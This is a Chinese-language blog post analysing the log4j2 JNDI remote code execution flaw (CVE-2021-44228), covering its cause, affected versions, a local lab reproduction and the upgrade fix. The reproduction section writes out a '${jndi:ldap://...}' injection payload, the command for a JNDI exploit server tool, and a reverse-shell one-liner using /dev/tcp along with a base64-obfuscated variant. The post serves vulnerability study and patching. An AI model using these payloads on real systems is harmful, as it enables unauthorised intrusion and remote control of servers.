log4j漏洞分析及总结
2021年12月8號(hào)爆出的log4j2的遠(yuǎn)程代碼執(zhí)行漏洞【cve-2021-44228】,堪稱史詩(shī)級(jí)核彈漏洞,雖然過(guò)了這么久,大部分現(xiàn)網(wǎng)中的相關(guān)漏洞已經(jīng)修復(fù),但任然可以撿漏…,網(wǎng)上也有不少大佬和研究機(jī)構(gòu)都對(duì)該漏洞做了分析和復(fù)盤,年前年后比較忙,一直沒(méi)有好好的分析總結(jié)該漏洞,最近學(xué)習(xí)下剛好補(bǔ)上。
漏洞描述及影響
log4j是Apache的一個(gè)開(kāi)源項(xiàng)目,是一個(gè)基于Java的日志記錄框架。Log4j2是log4j的后繼者,被大量用于業(yè)務(wù)系統(tǒng)開(kāi)發(fā),記錄日志信息。很多互聯(lián)網(wǎng)公司以及耳熟能詳?shù)墓镜南到y(tǒng)都在使用該框架。Apache Log4j2 組件在開(kāi)啟了日志記錄功能后,凡是在可觸發(fā)錯(cuò)誤記錄日志的地方,插入漏洞利用代碼,即可利用成功。特殊情況下,若該組件記錄的日志包含其他系統(tǒng)的記錄日志,則有可能造成間接投毒。通過(guò)中間系統(tǒng),使得組件間接讀取了具有攻擊性的漏洞利用代碼,亦可間接造成漏洞觸發(fā)。
同時(shí)該漏洞還影響很多全球使用量的Top序列的通用開(kāi)源組件,例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等
用戶認(rèn)證:不需要用戶認(rèn)證觸發(fā)方式:遠(yuǎn)程配置方式:默認(rèn)利用條件:需要外網(wǎng)訪問(wèn)權(quán)限影響版本:2.0 ≤ Apache Log4j2 < 2.15.0-rc2利用難度:極低,無(wú)需授權(quán)即可遠(yuǎn)程代碼執(zhí)行威脅等級(jí):嚴(yán)重,能造成遠(yuǎn)程代碼執(zhí)行綜合評(píng)估漏洞利用難度極低,利用要求較少,影響范圍很大,危害極其嚴(yán)重,且已經(jīng)被黑客公開(kāi)利用持續(xù)全網(wǎng)掃描,根據(jù)部里要求,需要緊急修復(fù)。漏洞分析
該漏洞的主要原因是log4j在日志輸出中,未對(duì)字符合法性進(jìn)行嚴(yán)格的限制,執(zhí)行了JNDI協(xié)議加載的遠(yuǎn)程惡意腳本,從而造成RCE。這里面有一個(gè)關(guān)鍵點(diǎn)就是,什么是JNDI,為什么JNDI可以造成RCE
【Java JNDI使用詳解】 https://blog.csdn.net/qinwuxian19891211/article/details/108969927,這篇文章中很好的介紹了什么是JNDI,這里摘抄文章中的重點(diǎn)的部分,以作說(shuō)明,
這里面有個(gè)很重要的點(diǎn),java應(yīng)用程序中可以調(diào)用JNDI協(xié)議訪問(wèn)遠(yuǎn)程服務(wù),其底層包含了RMI、LDAP、DNS等協(xié)議的調(diào)用,說(shuō)明白點(diǎn),就是可以通過(guò)JNDI訪問(wèn)遠(yuǎn)程的相關(guān)目錄服務(wù),本次爆發(fā)的攻擊payload都是通過(guò)jndi調(diào)用了遠(yuǎn)程的惡意class,然后本地反序列化執(zhí)行。和以前的fastjson攻擊的手法差不多,這里面涉及到j(luò)ndi注入和java反序列化漏洞的相關(guān)知識(shí),可以作為一個(gè)單獨(dú)的文章來(lái)說(shuō)明,這里只將和log4j本次漏洞相關(guān)的。詳細(xì)的,可以參考網(wǎng)上的一篇文章,【深入理解JNDI注入與Java反序列化漏洞利用】
首先我們看一下,收集到的log4j payload:
以及一些變形的payload:
這些payload的形式大多類似與這樣:
${jndi:ldap://xxxx.com.cn},我們可以看看直接在代碼中利用log4j輸出以上字符串,到底會(huì)發(fā)生什么,上代碼:
運(yùn)行以上代碼,觀察到dnslog上有反查記錄,說(shuō)明應(yīng)用程序lookup了log4j.voxxaq.dnslog.cn這個(gè)域名,留下了查找記錄
既然能遠(yuǎn)程訪問(wèn),那返回的又是什么呢,有沒(méi)有可能加載遠(yuǎn)程服務(wù)器上的惡意類呢?答案是肯定的,我們只需要構(gòu)建一個(gè)ldap或rmi遠(yuǎn)程服務(wù)即可,讓遠(yuǎn)程服務(wù)器返回惡意class,如圖
驗(yàn)證
按照以上的思路,首先要在遠(yuǎn)程服務(wù)器上準(zhǔn)備ldap或rmi服務(wù),這里我們利用現(xiàn)成的工具,【JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar】,github上已有大神準(zhǔn)備好了,這個(gè)jar包的作用是在服務(wù)器上開(kāi)啟ldap和rmi服務(wù),并且可以自定義要執(zhí)行的代碼。命令執(zhí)行格式如下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "payload" -A "serverip"A參數(shù)為遠(yuǎn)程服務(wù)器的IP,我們只需要關(guān)注payload,將他變?yōu)橐獔?zhí)行的代碼即可。這里我們直接反彈一個(gè)shell,payload為
bash -i >& /dev/tcp/serverip/port 0>&1,因?yàn)槠渲泻?amp;等特需符號(hào),為防止執(zhí)行不成功,換一種寫法,變形為,bash -c {echo,base64_encoded_payload}|{base64,-d}|{bash,-i},本質(zhì)上和前面是一樣的,只不過(guò)是將前面的payload先base64編碼后再解碼。
執(zhí)行后,輸出如下:
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-WuxiAheR-1644768636746)(vx_images/87154923231691.png)]
以上分別在1099端口和1389端口,開(kāi)啟了rmi,ldap的監(jiān)聽(tīng)服務(wù),等待jndi的連接。同時(shí)我們也再9999端口,開(kāi)啟一個(gè)反彈監(jiān)聽(tīng)端口,等待反彈shell上線。
這里,我們直接用本地搭建漏洞環(huán)境,也可以用volfocus上的在線靶場(chǎng)環(huán)境。啟動(dòng)本地含有漏洞的spring boot的服務(wù),如圖:
以上環(huán)境在request header 中X-Api-Version 中存在log4j2的漏洞,直接在postman中發(fā)送請(qǐng)求:
觀察遠(yuǎn)程服務(wù)端:
再觀察反彈的9999端口:
以上可以看到反彈shell,成功上線。
修復(fù)
從前面的分析驗(yàn)證可以看出,該漏洞可直接加載遠(yuǎn)程代碼,反彈shell,危害巨大。需將log4j2的jar包升級(jí)為2.17-rc2及以上
總結(jié)
以上是生活随笔為你收集整理的log4j漏洞分析及总结的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: eoeAndroid网站
- 下一篇: 环世界服务器显示不出来,环世界控制台代码